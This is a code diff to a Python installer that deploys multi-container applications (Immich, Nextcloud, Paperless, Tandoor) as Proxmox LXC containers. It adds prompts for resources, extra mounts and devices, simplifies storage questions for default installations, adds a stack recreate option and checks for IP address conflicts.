     reachable = [app for app in selected if app != 'unpackerr']
     labels, gateway = access.ask_addresses(ui, bridge, [app.capitalize() for app in reachable])
     addresses = dict(zip(reachable, labels.values()))
-    timezone = ui.ask(translate('Timezone'), host.timezone())
+    timezone = quiet.ask(translate('Timezone'), host.timezone())
     services = []
     credentials = None
     if 'qbittorrent' in selected:
@@ -93,7 +102,7 @@ def build_suite(template, ui, mode='advanced'):
         if not child['compatibility']['automatic_install_candidate']:
             raise StackError(f"{app}: {translate('individual template is blocked')}")
         child_ui = (DefaultsUI() if mode == DEFAULT_MODE else
-                    SuiteChildUI(ui, child['proxmox'].get('installer_profile', {})))
+                    SuiteChildUI(ui, child['proxmox'].get('installer_profile', {}), app))
         plan = build_deployment(copy.deepcopy(child), child_ui, mode)
         plan.update(hostname=_hostname_default(name+'-'+app), start_after_create=False, template_storage=cache)
         plan['rootfs']['storage'] = storage

oci/src/proxmenux_oci/cli.py

@@ -267,6 +267,18 @@ def _deployment_summary_text(template: dict[str, Any], deployment: dict[str, Any
                     row(translate(label), f"{translate('host directory')} {storage.get('host_path', '-')}")
                 else:
                     row(translate(label), f"{storage.get('size_gb', '-')} GB {on} {storage.get('storage', '-')}")
+        if isinstance(plan.get("resources"), dict):
+            row(translate("Resources"), f"{plan['resources']['cores']} CPU, {plan['resources']['memory_mb']} MB RAM")
+        if plan.get("extra_mounts"):
+            lines.append(f"{translate('Extra paths') + ':':<16}")
+            for mount in plan["extra_mounts"]:
+                target = (f"{translate('host directory')} {mount['source']}" if mount["type"] == "host-bind"
+                          else f"{translate('Container volume')} {mount.get('size_gb', '-')} GB {on} {mount['source']}")
+                if mount.get("read_only"):
+                    target += f" ({translate('read-only')})"
+                lines.append(f"  {mount['container_path']} → {target}")
+        if plan.get("extra_devices"):
+            row(translate("Devices"), ", ".join(device["host_path"] for device in plan["extra_devices"]))
     else:
         row(translate("Container"), f"CT {plan.get('vmid') or translate('next free')} · {plan.get('hostname', '-')}")
 

oci/src/proxmenux_oci/extra_devices.py

@@ -28,15 +28,15 @@ def choose_usb_device(ui, title, default=None, attached=()):
     return ui.ask(manual_prompt, default or '/dev/ttyACM0') if selected == 'manual' else selected
 
 
-def ask_extra_devices(ui, devices, unprivileged, allow_coral=False):
+def ask_extra_devices(ui, devices, unprivileged, allow_coral=False, kinds=('gpu', 'nvidia', 'usb')):
     """Keep manual attachments separate from image-owned GPU profiles."""
     result = list(devices)
     while ui.confirm(translate('Add another GPU or USB device manually?'), False):
-        options = [
+        options = [option for option in (
             ('gpu', translate('Intel/AMD DRM node (device only)')),
             ('nvidia', translate('NVIDIA runtime (device and host driver libraries)')),
             ('usb', translate('USB or serial device node')),
-        ]
+        ) if option[0] in kinds]
         if allow_coral:
             options.append(('coral', translate('Coral PCIe/M.2 device node')))
         kind = ui.choose(translate('Device to attach'), options)

oci/src/proxmenux_oci/host.py

@@ -101,6 +101,20 @@ def gib(value: Any) -> int:
         return 0
 
 
+
+def address_answers(address: str, bridge: str) -> bool:
+    """Whether a device of the network already answers on this address. The
+    neighbour table tells, so a device that drops pings is found too; without a
+    host address on that network nothing can be asked and nothing is assumed."""
+    try:
+        subprocess.run(["ping", "-c", "1", "-W", "1", "-I", bridge, address],
+                       capture_output=True, timeout=5, check=False)
+        result = subprocess.run(["ip", "-4", "neigh", "show", address, "dev", bridge],
+                                capture_output=True, text=True, timeout=5, check=False)
+    except (OSError, subprocess.TimeoutExpired):
+        return False
+    return " lladdr " in f" {result.stdout} "
+
 # USB classes as the Monitor labels them.
 _USB_CLASSES = {
     "01": "Audio", "02": "Communications", "03": "HID", "06": "Imaging", "07": "Printer",

oci/src/proxmenux_oci/installer.py

@@ -124,6 +124,57 @@ def ask_storage(ui, text: str, content: str, default: str, mode: str = ADVANCED_
     return selected
 
 
+def essential_ui(ui):
+    """The interface for what every installation decides — its storage, its
+    address and how it starts — which a default installation asks as well."""
+    return getattr(ui, "real", None) or ui
+
+
+def _answers_from_recipe(ui) -> bool:
+    """Whether this container is being planned as a member of a stack, which
+    has already asked what the user decides."""
+    from .stack import DefaultsUI
+    return isinstance(ui, DefaultsUI)
+
+
+def ask_application_extra_paths(ui, existing: list[str], storage: str) -> list[dict[str, Any]]:
+    """Extra paths for the application container of a multi-container
+    application. An advanced installation asks them; a default one does not."""
+    if _answers_from_recipe(ui):
+        return []
+    planned = [{"type": "managed-volume", "container_path": path} for path in existing]
+    return [mount for mount in ask_custom_mounts(ui, planned, storage) if mount.get("custom")]
+
+
+def ask_application_extra_devices(ui, kinds: tuple[str, ...] = ("gpu", "usb")) -> list[dict[str, Any]]:
+    """USB, serial or GPU nodes for the application container of a
+    multi-container application; asked in an advanced installation only."""
+    if _answers_from_recipe(ui):
+        return []
+    from .extra_devices import ask_extra_devices
+    return ask_extra_devices(ui, [], True, kinds=kinds)
+
+
+def ask_application_resources(ui, cores: int, memory_mb: int, swap_mb: int) -> dict[str, int]:
+    """CPU and memory of the application container of a multi-container
+    application. An advanced installation asks them; a default one does not."""
+    if not _answers_from_recipe(ui):
+        cores = int(ui.ask(translate("CPU cores"), str(cores)))
+        memory_mb = int(ui.ask(translate("Memory in MB"), str(memory_mb)))
+    if cores < 1 or memory_mb < 256:
+        raise InstallError(translate("Invalid resources"))
+    return {"cores": cores, "memory_mb": memory_mb, "swap_mb": swap_mb}
+
+
+def ask_default_storage(ui, preferred: str) -> str | None:
+    """In a default installation, the one storage that holds the containers and
+    their data; None in an advanced one, which asks each storage separately."""
+    real = getattr(ui, "real", None)
+    if real is None:
+        return None
+    return ask_storage(real, translate("Storage for the containers and their data"), "rootdir", preferred)
+
+
 def ask_bridge(ui, text: str, default: str, mode: str = ADVANCED_MODE) -> str:
     if mode == DEFAULT_MODE:
         return host.default_bridge(default)
@@ -197,7 +248,7 @@ def build_deployment(
         'image-immich', 'image-nextcloud-stack', 'image-paperless-ngx', 'image-tandoor'
     }:
         from .stack import DefaultsUI
-        ui = DefaultsUI()
+        ui = DefaultsUI(ui)
     if template.get("id") == "image-immich":
         return _build_immich_deployment(template, ui)
     if template.get("id") == "image-nextcloud-stack":
@@ -283,6 +334,9 @@ def build_deployment(
     memory_default = installer_profile.get('resources', {}).get('memory_default_mb', defaults['memory_mb'])
     mac_address = installer_profile.get("network", {}).get("mac_address")
     timezone = host.timezone()
+    # A default installation still asks its storage, its address and how it
+    # starts, unless a stack is planning this container and asked them itself.
+    silent = not advanced and _answers_from_recipe(ui)
     if advanced:
         vmid_text = ui.ask(translate("VMID (empty = next free)"), "", required=False)
         hostname = ui.ask(translate("Hostname"), hostname_default)
@@ -301,8 +355,15 @@ def build_deployment(
     else:
         vmid_text = ""
         hostname = hostname_default
-        rootfs_storage = ask_storage(ui, "", "rootdir", defaults["rootfs_storage"], DEFAULT_MODE)
-        volume_storage = ask_storage(ui, "", "rootdir", defaults["volume_storage"], DEFAULT_MODE)
+        if silent:
+            rootfs_storage = ask_storage(ui, "", "rootdir", defaults["rootfs_storage"], DEFAULT_MODE)
+            volume_storage = ask_storage(ui, "", "rootdir", defaults["volume_storage"], DEFAULT_MODE)
+        else:
+            # One storage for the container and its data; the advanced
+            # installation is where each one is chosen separately.
+            rootfs_storage = ask_storage(ui, translate("Storage for the container and its data"), "rootdir",
+                                         defaults["rootfs_storage"])
+            volume_storage = rootfs_storage
         template_storage = ask_storage(ui, "", "vztmpl", defaults["template_storage"], DEFAULT_MODE)
         rootfs_size = int(defaults["rootfs_size_gb"])
         cores = int(defaults["cores"])
@@ -400,8 +461,12 @@ def build_deployment(
             ipv4, gateway = access.ask_ipv4(ui, bridge)
     else:
         bridge = ask_bridge(ui, "", defaults["bridge"], DEFAULT_MODE)
-        ipv4 = "host" if host_monitor else defaults["ipv4"]
-        gateway = None
+        if host_monitor:
+            ipv4, gateway = "host", None
+        elif silent:
+            ipv4, gateway = defaults["ipv4"], None
+        else:
+            ipv4, gateway = access.ask_ipv4(ui, bridge)
 
     host_firewall = confirm_host_monitor_firewall(ui, template, bridge) if host_monitor else None
 
@@ -493,9 +558,12 @@ def build_deployment(
     if advanced:
         onboot = ui.confirm(translate("Start with Proxmox"), defaults["onboot"])
         start_after = ui.confirm(translate("Start when finished"), True)
-    else:
+    elif silent:
         onboot = bool(defaults["onboot"])
         start_after = True
+    else:
+        onboot = ui.confirm(translate("Start with Proxmox"), defaults["onboot"])
+        start_after = ui.confirm(translate("Start when finished"), True)
 
     if post_start_configurations and not start_after:
         if not ui.confirm(translate("The application configuration needs a first start to complete.")
@@ -583,6 +651,10 @@ def _build_rclone_deployment(
 
     vmid_text = ui.ask(translate("VMID (empty = next free)"), "", required=False)
     hostname = ui.ask(translate("Hostname"), schema["hostname"]["default"])
+    cores = int(ui.ask(translate("CPU cores"), str(defaults["cores"])))
+    memory = int(ui.ask(translate("Memory in MB"), str(defaults["memory_mb"])))
+    if cores < 1 or memory < 256:
+        raise InstallError(translate("Invalid resources"))
     rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", schema["rootfs_storage"]["default"])
     config_storage = ask_storage(ui, translate("Storage for the persistent configuration"), "rootdir",
                                  schema["config_storage"]["default"])
@@ -613,8 +685,8 @@ def _build_rclone_deployment(
         "template_storage": template_storage,
         "rootfs": {"storage": rootfs_storage, "size_gb": rootfs_size},
         "resources": {
-            "cores": defaults["cores"],
-            "memory_mb": defaults["memory_mb"],
+            "cores": cores,
+            "memory_mb": memory,
             "swap_mb": defaults["swap_mb"],
             "cpu_units": None,
         },
@@ -726,9 +798,12 @@ def _build_immich_deployment(
     stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
     if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
         raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
-    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
+    resources = ask_application_resources(ui, 4, 3072, 1024)
+    chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
+    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
+                                 chosen_storage or defaults["rootfs_storage"])
     template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
-    media_mode = ui.choose(
+    media_mode = essential_ui(ui).choose(
         translate("Where to store the Immich library"),
         [
             ("managed-volume", translate("Dedicated container volume (included in backups)")),
@@ -739,25 +814,26 @@ def _build_immich_deployment(
     if media_mode is None:
         raise UserCancelled(translate("Immich configuration cancelled"))
     if media_mode == "managed-volume":
-        media_storage = ask_storage(ui, translate("Storage for the Immich library"), "rootdir", pve_defaults["volume_storage"])
-        media_size = int(ui.ask(translate("Library size in GB"), "100"))
+        media_storage = ask_storage(ui, translate("Storage for the Immich library"), "rootdir", chosen_storage or pve_defaults["volume_storage"])
+        media_size = int(essential_ui(ui).ask(translate("Library size in GB"), "100"))
         if media_size < 8:
             raise InstallError(translate("The Immich library needs at least 8 GB"))
         media_root = None
     else:
         media_default = defaults["shared_media_root"].replace("${stack_name}", stack_name)
-        media_root = ui.ask(translate("Shared host directory"), media_default)
+        media_root = essential_ui(ui).ask(translate("Shared host directory"), media_default)
         media_storage = None
         media_size = None
-    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
+    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
     database_size = int(
         ui.ask(translate("PostgreSQL volume size in GB"), str(defaults["database_size_gb"]))
     )
     if database_size < 8:
         raise InstallError(translate("The PostgreSQL volume needs at least 8 GB"))
+    extra_mounts = ask_application_extra_paths(ui, ["/data"], media_storage or rootfs_storage)
     frontend_bridge = ask_bridge(ui, translate("Access bridge for Immich"), defaults["frontend_network"]["bridge"])
     addresses, frontend_gateway = access.ask_addresses(
-        ui, frontend_bridge, [translate("Immich server"), translate("Immich machine learning")])
+        essential_ui(ui), frontend_bridge, [translate("Immich server"), translate("Immich machine learning")])
     server_ipv4, ml_ipv4 = addresses.values()
     timezone = ui.ask(translate("Timezone"), host.timezone())
     video_acceleration = ui.choose(
@@ -800,10 +876,14 @@ def _build_immich_deployment(
                              "were tested in the lab and are not a universal minimum. Compatibility depends on the "
                              "GPU, the models and the kernel. NVIDIA uses the GPUs of the Toolkit inventory; Intel "
                              "keeps the CPU topology."))
+    extra_devices = ask_application_extra_devices(ui, ("usb",))
     return {
         "deployment_kind": "immich-four-lxc-stack",
         "base_vmid": int(vmid_text) if vmid_text else None,
         "stack_name": stack_name,
+        "resources": resources,
+        "extra_mounts": extra_mounts,
+        "extra_devices": extra_devices,
         "template_storage": template_storage,
         "rootfs_storage": rootfs_storage,
         "database_storage": database_storage,
@@ -816,8 +896,8 @@ def _build_immich_deployment(
             "backup": media_mode == "managed-volume",
         },
         "timezone": timezone,
-        "onboot": ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
-        "start_after_create": ui.confirm(translate("Start when finished"), True),
+        "onboot": essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
+        "start_after_create": essential_ui(ui).confirm(translate("Start when finished"), True),
         "network": {
             "frontend_bridge": frontend_bridge,
             "frontend_ipv4": server_ipv4,
@@ -858,10 +938,13 @@ def _build_nextcloud_stack_deployment(
     stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
     if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
         raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
+    resources = ask_application_resources(ui, 2, 2048, 1024)
 
-    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
+    chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
+    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
+                                 chosen_storage or defaults["rootfs_storage"])
     template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
-    application_mode = ui.choose(
+    application_mode = essential_ui(ui).choose(
         translate("Where to store the Nextcloud files, configuration and data"),
         [
             ("managed-volume", translate("Dedicated container volume (included in backups)")),
@@ -872,9 +955,9 @@ def _build_nextcloud_stack_deployment(
     if application_mode is None:
         raise UserCancelled(translate("Nextcloud configuration cancelled"))
     if application_mode == "managed-volume":
-        application_storage = ask_storage(ui, translate("Storage for the Nextcloud data"), "rootdir", defaults["application_storage"])
+        application_storage = ask_storage(ui, translate("Storage for the Nextcloud data"), "rootdir", chosen_storage or defaults["application_storage"])
         application_size = int(
-            ui.ask(
+            essential_ui(ui).ask(
                 translate("Nextcloud volume size in GB"),
                 str(defaults["application_volume_size_gb"]),
             )
@@ -886,11 +969,11 @@ def _build_nextcloud_stack_deployment(
         shared_default = defaults["shared_application_root"].replace(
             "${stack_name}", stack_name
         )
-        application_root = ui.ask(translate("Shared host directory"), shared_default)
+        application_root = essential_ui(ui).ask(translate("Shared host directory"), shared_default)
         application_storage = None
         application_size = None
 
-    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
+    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
     database_size = int(
         ui.ask(
             translate("PostgreSQL volume size in GB"),
@@ -900,8 +983,9 @@ def _build_nextcloud_stack_deployment(
     if database_size < 8:
         raise InstallError(translate("The PostgreSQL volume needs at least 8 GB"))
 
+    extra_mounts = ask_application_extra_paths(ui, ["/var/www/html"], application_storage or rootfs_storage)
     frontend_bridge = ask_bridge(ui, translate("Access bridge for Nextcloud"), defaults["frontend_network"]["bridge"])
-    addresses, frontend_gateway = access.ask_addresses(ui, frontend_bridge, [""])
+    addresses, frontend_gateway = access.ask_addresses(essential_ui(ui), frontend_bridge, [""])
     timezone = ui.ask(translate("Timezone"), host.timezone())
     admin_username = ui.ask(
         translate("Initial administrator user"), defaults["application"]["admin_username"]
@@ -909,11 +993,15 @@ def _build_nextcloud_stack_deployment(
     if not re.fullmatch(r"[A-Za-z0-9_.@-]+", admin_username):
         raise InstallError(translate("The administrator user contains characters that are not allowed"))
 
+    extra_devices = ask_application_extra_devices(ui)
     private = defaults["private_network"]
     return {
         "deployment_kind": "nextcloud-three-lxc-stack",
         "base_vmid": int(vmid_text) if vmid_text else None,
         "stack_name": stack_name,
+        "resources": resources,
+        "extra_mounts": extra_mounts,
+        "extra_devices": extra_devices,
         "template_storage": template_storage,
         "rootfs_storage": rootfs_storage,
         "application": {
@@ -932,8 +1020,8 @@ def _build_nextcloud_stack_deployment(
         "timezone": timezone,
         "maintenance_window_start_utc": defaults["maintenance_window_start_utc"],
         "default_phone_region": defaults["default_phone_region"],
-        "onboot": ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
-        "start_after_create": ui.confirm(translate("Start when finished"), True),
+        "onboot": essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
+        "start_after_create": essential_ui(ui).confirm(translate("Start when finished"), True),
         "network": {
             "frontend_bridge": frontend_bridge,
             "frontend_ipv4": addresses[""],
@@ -961,21 +1049,24 @@ def _build_paperless_stack_deployment(
     stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
     if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
         raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
+    resources = ask_application_resources(ui, 2, 2048, 1024)
 
-    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
+    chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
+    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
+                                 chosen_storage or defaults["rootfs_storage"])
     template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
 
-    application_storage = ask_storage(ui, translate("Storage for Paperless data and documents"), "rootdir", defaults["application_storage"])
+    application_storage = ask_storage(ui, translate("Storage for Paperless data and documents"), "rootdir", chosen_storage or defaults["application_storage"])
     data_size = int(
         ui.ask(translate("Data volume size in GB"), str(defaults["data_volume_size_gb"]))
     )
     media_size = int(
-        ui.ask(
+        essential_ui(ui).ask(
             translate("Documents volume size in GB"),
             str(defaults["media_volume_size_gb"]),
         )
     )
-    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
+    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
     database_size = int(
         ui.ask(
             translate("PostgreSQL volume size in GB"),
@@ -985,7 +1076,7 @@ def _build_paperless_stack_deployment(
     if min(data_size, database_size) < 8 or media_size < 8:
         raise InstallError(translate("The Paperless persistent volumes need at least 8 GB"))
 
-    transfer_mode = ui.choose(
+    transfer_mode = essential_ui(ui).choose(
         translate("Where to store the consume and export folders"),
         [
             ("host-bind", translate("Shared host directories (not included in Proxmox backups)")),
@@ -999,7 +1090,7 @@ def _build_paperless_stack_deployment(
     transfer_root = None
     if transfer_mode == "managed-volume":
         transfer_size = int(
-            ui.ask(
+            essential_ui(ui).ask(
                 translate("Size of each consume/export volume in GB"),
                 str(defaults["transfer_volume_size_gb"]),
             )
@@ -1010,12 +1101,15 @@ def _build_paperless_stack_deployment(
         transfer_default = defaults["shared_transfer_root"].replace(
             "${stack_name}", stack_name
         )
-        transfer_root = ui.ask(
+        transfer_root = essential_ui(ui).ask(
             translate("Shared directory for consume and export"), transfer_default
         )
 
+    extra_mounts = ask_application_extra_paths(
+        ui, ["/usr/src/paperless/data", "/usr/src/paperless/media", "/usr/src/paperless/consume",
+             "/usr/src/paperless/export"], application_storage)
     frontend_bridge = ask_bridge(ui, translate("Access bridge for Paperless"), defaults["frontend_network"]["bridge"])
-    addresses, frontend_gateway = access.ask_addresses(ui, frontend_bridge, [""])
+    addresses, frontend_gateway = access.ask_addresses(essential_ui(ui), frontend_bridge, [""])
     timezone = ui.ask(translate("Timezone"), host.timezone())
     ocr_language = ui.ask(translate("OCR language (Tesseract code)"), defaults["ocr_language"])
     if not re.fullmatch(r"[a-z]{3}(?:\+[a-z]{3})*", ocr_language):
@@ -1026,11 +1120,15 @@ def _build_paperless_stack_deployment(
     if not re.fullmatch(r"[A-Za-z0-9_.@-]+", admin_username):
         raise InstallError(translate("The administrator user contains characters that are not allowed"))
 
+    extra_devices = ask_application_extra_devices(ui)
     private = defaults["private_network"]
     return {
         "deployment_kind": "paperless-three-lxc-stack",
         "base_vmid": int(vmid_text) if vmid_text else None,
         "stack_name": stack_name,
+        "resources": resources,
+        "extra_mounts": extra_mounts,
+        "extra_devices": extra_devices,
         "template_storage": template_storage,
         "rootfs_storage": rootfs_storage,
         "application_storage": application_storage,
@@ -1051,8 +1149,8 @@ def _build_paperless_stack_deployment(
             "ocr_language": ocr_language,
         },
         "timezone": timezone,
-        "onboot": ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
-        "start_after_create": ui.confirm(translate("Start when finished"), True),
+        "onboot": essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"]),
+        "start_after_create": essential_ui(ui).confirm(translate("Start when finished"), True),
         "network": {
             "frontend_bridge": frontend_bridge,
             "frontend_ipv4": addresses[""],
@@ -1080,11 +1178,14 @@ def _build_tandoor_stack_deployment(
     stack_name = ui.ask(translate("Stack name"), defaults["stack_name"])
     if not re.fullmatch(r"[a-z0-9][a-z0-9-]{0,31}", stack_name):
         raise InstallError(translate("The stack name only accepts lowercase letters, numbers and hyphens"))
+    resources = ask_application_resources(ui, 2, 2048, 512)
 
-    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir", defaults["rootfs_storage"])
+    chosen_storage = ask_default_storage(ui, defaults["rootfs_storage"])
+    rootfs_storage = ask_storage(ui, translate("Storage for rootfs"), "rootdir",
+                                 chosen_storage or defaults["rootfs_storage"])
     template_storage = ask_storage(ui, translate("Storage for the OCI image cache"), "vztmpl", pve_defaults["template_storage"])
 
-    media_mode = ui.choose(
+    media_mode = essential_ui(ui).choose(
         translate("Where to store the recipe images and files"),
         [
             ("managed-volume", translate("Dedicated container volume (included in backups)")),
@@ -1095,9 +1196,9 @@ def _build_tandoor_stack_deployment(
     if media_mode is None:
         raise UserCancelled(translate("Tandoor configuration cancelled"))
     if media_mode == "managed-volume":
-        media_storage = ask_storage(ui, translate("Storage for Tandoor files"), "rootdir", defaults["application_storage"])
+        media_storage = ask_storage(ui, translate("Storage for Tandoor files"), "rootdir", chosen_storage or defaults["application_storage"])
         media_size = int(
-            ui.ask(
+            essential_ui(ui).ask(
                 translate("Files volume size in GB"),
                 str(defaults["media_volume_size_gb"]),
             )
@@ -1109,18 +1210,18 @@ def _build_tandoor_stack_deployment(
         media_default = defaults["shared_media_root"].replace(
             "${stack_name}", stack_name
         )
-        media_root = ui.ask(translate("Shared host directory"), media_default)
+        media_root = essential_ui(ui).ask(translate("Shared host directory"), media_default)
         media_storage = None
         media_size = None
 
-    static_storage = ask_storage(ui, translate("Storage for staticfiles"), "rootdir", defaults["application_storage"])
+    static_storage = ask_storage(ui, translate("Storage for staticfiles"), "rootdir", chosen_storage or defaults["application_storage"])
     static_size = int(
         ui.ask(
             translate("staticfiles volume size in GB"),
             str(defaults["static_volume_size_gb"]),
         )
     )
-    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", defaults["database_storage"])
+    database_storage = ask_storage(ui, translate("Local storage for PostgreSQL"), "rootdir", chosen_storage or defaults["database_storage"])
     database_size = int(
         ui.ask(
             translate("PostgreSQL volume size in GB"),
@@ -1132,8 +1233,10 @@ def _build_tandoor_stack_deployment(
             translate("Tandoor needs at least 1 GB for staticfiles and 4 GB for PostgreSQL")
         )
 
+    extra_mounts = ask_application_extra_paths(
+        ui, ["/opt/recipes/mediafiles", "/opt/recipes/staticfiles"], static_storage)
     frontend_bridge = ask_bridge(ui, translate("Access bridge for Tandoor"), defaults["frontend_network"]["bridge"])
-    addresses, frontend_gateway = access.ask_addresses(ui, frontend_bridge, [""])
+    addresses, frontend_gateway = access.ask_addresses(essential_ui(ui), frontend_bridge, [""])
     timezone = ui.ask(translate("Timezone"), host.timezone())
     allowed_hosts = ui.ask(
         translate("Allowed hosts (comma separated; * allows access through the assigned IP)"),
@@ -1152,7 +1255,9 @@ def _build_tandoor_stack_deployment(
     if not re.fullmatch(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}", admin_email):
         raise InstallError(translate("The administrator email is not valid"))
 
-    onboot = ui.confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"])
+    extra_devices = ask_application_extra_devices(ui)
+    onboot = essential_ui(ui).confirm(translate("Start the stack with Proxmox"), pve_defaults["onboot"])
+    # The first start creates the administrator, so a default installation does not ask it.
     start_after = ui.confirm(translate("Start when finished"), True)
     if not start_after:
         raise UserCancelled(
@@ -1164,6 +1269,9 @@ def _build_tandoor_stack_deployment(
         "deployment_kind": "tandoor-two-lxc-stack",
         "base_vmid": int(vmid_text) if vmid_text else None,
         "stack_name": stack_name,
+        "resources": resources,
+        "extra_mounts": extra_mounts,
+        "extra_devices": extra_devices,
         "template_storage": template_storage,
         "rootfs_storage": rootfs_storage,
         "application_storage": static_storage,

oci/src/proxmenux_oci/management.py

@@ -373,27 +373,34 @@ def _manage_stack(project, ui, row, action=None, lifecycle_args=()):
         if not members:
             ui.message(translate('This stack has no saved members to update.'), translate('OCI stack management'))
             return False
-        if needs_replay and not (
+        updatable = not needs_replay or (
                 oci_stack_replay.nextcloud_menu_ready(primary) or
                 oci_stack_replay.paperless_menu_ready(primary) or
                 oci_stack_replay.tandoor_menu_ready(primary) or
-                oci_stack_replay.immich_menu_ready(primary)):
+                oci_stack_replay.immich_menu_ready(primary))
+        if not updatable and action in (None, 'update'):
             ui.message(translate('This stack needs rootfs adaptations that coordinated updates cannot replay yet.'), translate('OCI stack management'))
-            return False
-        if action == 'recreate':
-            ui.message(translate('A multi-container application is not recreated: its containers are updated together.'), translate('OCI stack management'))
-            return False
+            if action == 'update':
+                return False
         if action is None:
-            action = ui.choose(translate('Manage OCI stack'),
-                               [('update', translate('Update every container of the application')),
-                                ('remove', translate('Remove: delete the application and its containers'))], 'update')
+            # A stack that cannot be updated can still be removed.
+            options = [('update', translate('Update every container of the application'))] if updatable else []
+            options.append(('recreate', translate('Recreate: add or remove extra paths and devices')))
+            options.append(('remove', translate('Remove: delete the application and its containers')))
+            action = ui.choose(translate('Manage OCI stack'), options, options[0][0])
         if action is None:
             return False
         if action == 'remove':
             return _remove(project, ui, primary_id)
-        if not ui.review(f"{translate('All stack members are updated together. Main CT:')} {primary_id}, "
-                f"{translate('members:')} {len(members)}. "
-                f"{translate('All images are downloaded and verified first, and native backups are taken with the stack stopped. Contracts are published after the whole set is checked. If a step fails, recovery is attempted where needed; recovery can also fail.')}",
+        if action == 'recreate':
+            # Nothing is rebuilt: only the extra paths and devices of the
+            # application container change.
+            from .stack_recreation import recreate_stack
+            return recreate_stack(project, ui, primary, _run_lifecycle)
+        if not ui.review(translate('All {count} containers of the application are updated together (main CT: {vmid}). '
+                                   'If there are new versions, all images are downloaded and verified, the application '
+                                   'is stopped, each container is backed up and replaced with its new image. If anything '
+                                   'fails, the backups are restored.').format(count=len(members), vmid=primary_id),
                 translate('Update OCI stack'), question=translate('Update the whole stack?'), default=True):
             return False
     else:

oci/src/proxmenux_oci/network.py

@@ -71,6 +71,10 @@ def _static_address(ui, bridge: str, label: str, default: str, taken: set[str])
         if str(interface.ip) in taken:
             ui.message(f"{translate('The address is already assigned on this host or cluster:')} {interface.ip}")
             continue
+        # The address this container already has answers because it is its own.
+        if value != default and host.address_answers(str(interface.ip), bridge):
+            ui.message(f"{translate('Another device of the network already answers on this address:')} {interface.ip}")
+            continue
         return interface
 
 

oci/src/proxmenux_oci/stack.py

@@ -261,6 +261,11 @@ def resolve_environments(services, timezone, generators=None):
 
 
 class DefaultsUI:
+    """Answers every question with the value of the recipe. `real` is the
+    interface the installer uses for the few questions a default installation
+    still asks."""
+    def __init__(self, real=None):
+        self.real = real
     def ask(self, text, default=None, required=True):
         return default if default is not None else ''
     def choose(self, text, options, default=None):
@@ -295,29 +300,44 @@ def build_stack(template, ui, mode='advanced'):
         raise StackError('; '.join(problems))
     services = copy.deepcopy(ordered_services(template))
     defaults = template['proxmox']['defaults']
-    name = _hostname_default(ui.ask(translate('Stack name'), template['compose_stack']['project_name']))
-    vmid = ui.ask(translate('Base VMID (empty = next free block)'), '', required=False)
+    # A default installation takes the name, the VMID and the settings from the
+    # recipe; it still asks the storage, the address and how the stack starts.
+    quiet = DefaultsUI() if mode == DEFAULT_MODE else ui
+    name = _hostname_default(quiet.ask(translate('Stack name'), template['compose_stack']['project_name']))
+    vmid = quiet.ask(translate('Base VMID (empty = next free block)'), '', required=False)
     from . import host
     from . import network as access
     from .installer import _ask_size, ask_bridge, ask_storage
-    root = ask_storage(ui, translate('Storage for rootfs'), 'rootdir', defaults['rootfs_storage'], mode)
+    if mode == DEFAULT_MODE:
+        root = ask_storage(ui, translate('Storage for the containers and their data'), 'rootdir',
+                           defaults['rootfs_storage'])
+    else:
+        root = ask_storage(ui, translate('Storage for rootfs'), 'rootdir', defaults['rootfs_storage'])
     cache = ask_storage(ui, translate('Storage for the OCI image cache'), 'vztmpl', defaults['template_storage'], mode)
     generators = template.get('proxmox', {}).get('stack_generators', {})
     # The data paths of every member are settled before the network and the settings.
-    volumes = (ask_storage(ui, '', 'rootdir', defaults['volume_storage'], mode) if mode == DEFAULT_MODE else root)
+    volumes = root
     draft_envs = resolve_environments(copy.deepcopy(services), host.timezone(), generators)
     drafts = []
